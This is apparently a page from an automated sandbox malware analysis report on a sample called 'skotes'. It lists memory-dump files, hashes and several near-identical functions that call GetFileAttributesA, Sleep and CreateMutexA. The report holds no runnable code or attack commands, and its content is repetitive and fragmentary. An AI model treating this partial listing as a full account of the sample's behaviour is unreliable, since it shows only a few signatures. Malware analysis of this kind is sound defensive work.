Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 422db4ac7a84180ba7a817317f269ba51fcc027dc89da8de123669208cc180c6
Instruction ID: ecbba06084ee156f89713b9d976eb48bfa092af86520bbd6b88c68cafc955d2d
Opcode Fuzzy Hash: 422db4ac7a84180ba7a817317f269ba51fcc027dc89da8de123669208cc180c6
Instruction Fuzzy Hash: 4F418D71D04244ABDB28EFB5DC459AFBBF9EF88300B104A2DF956D3290E630A945DB21

Function 00BD9BA5 Relevance: 4.6, APIs: 3, Instructions: 140sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00BD9BA8
Sleep.KERNEL32(00000064,?), ref: 00BDA963
CreateMutexA.KERNEL32(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 362c6d2b847ef5038d6083b78743442d13a60fbc7604fdf00865be08afaf3116
Instruction ID: 81e62a5b622e44725d2dd1f3eba8d239876b99b9589188fb6d00ddcf9db80901
Opcode Fuzzy Hash: 362c6d2b847ef5038d6083b78743442d13a60fbc7604fdf00865be08afaf3116
Instruction Fuzzy Hash: 01317B317142449BEB0CDB78DD8976DFBF2EB85310F24829AE014D73E6E77A99808761

Function 00BD9CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00BD9CDD
Sleep.KERNEL32(00000064,?), ref: 00BDA963
CreateMutexA.KERNEL32(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 0b62be6f18be1182b5ea6b5cd9e7976f44d17324d750a12221f778d82f3f5847
Instruction ID: f7c5ea1342c71e086c4d280a432c5f38697e39d42be05a16f9ec3a49d4b6c25a
Opcode Fuzzy Hash: 0b62be6f18be1182b5ea6b5cd9e7976f44d17324d750a12221f778d82f3f5847
Instruction Fuzzy Hash: A23126327141448BEB18DB78D8C87ADF7F2EB86310F2446AAE014E73D5E77A99808761

Function 00BD9F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00BD9F47
Sleep.KERNEL32(00000064,?), ref: 00BDA963
CreateMutexA.KERNEL32(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 52ce83724cee47edbfe34603c1a936691ca0c999e64322e62318d094551bbcf6
Instruction ID: 9739005e48bebe7ad120b64a2493c4c0acfa66c8cf404a32b3ee9e153502d5cd
Opcode Fuzzy Hash: 52ce83724cee47edbfe34603c1a936691ca0c999e64322e62318d094551bbcf6
Instruction Fuzzy Hash: 4B316B717001449BEB1CDB78DC987ADF7F2EB85310F20469AE014D73D5E77A99848762

Function 00BDA079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00BDA07C
Sleep.KERNEL32(00000064,?), ref: 00BDA963
CreateMutexA.KERNEL32(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 7d37159179dc0383dfa9856e93a50ef6b28dd2b08cb3527b914674f41217c59a
Instruction ID: 25288cb4bc68f3f8d7398c7e2a0e7cc4faf1fe58b73bca14ea37cad67590f263
Opcode Fuzzy Hash: 7d37159179dc0383dfa9856e93a50ef6b28dd2b08cb3527b914674f41217c59a
Instruction Fuzzy Hash: 2C3148327101449BEB08DB78DDC976DF7F2EB86310F24829AE014E73D5E77A99848762

Function 00BDA1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00BDA1B1
Sleep.KERNEL32(00000064,?), ref: 00BDA963
CreateMutexA.KERNEL32(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
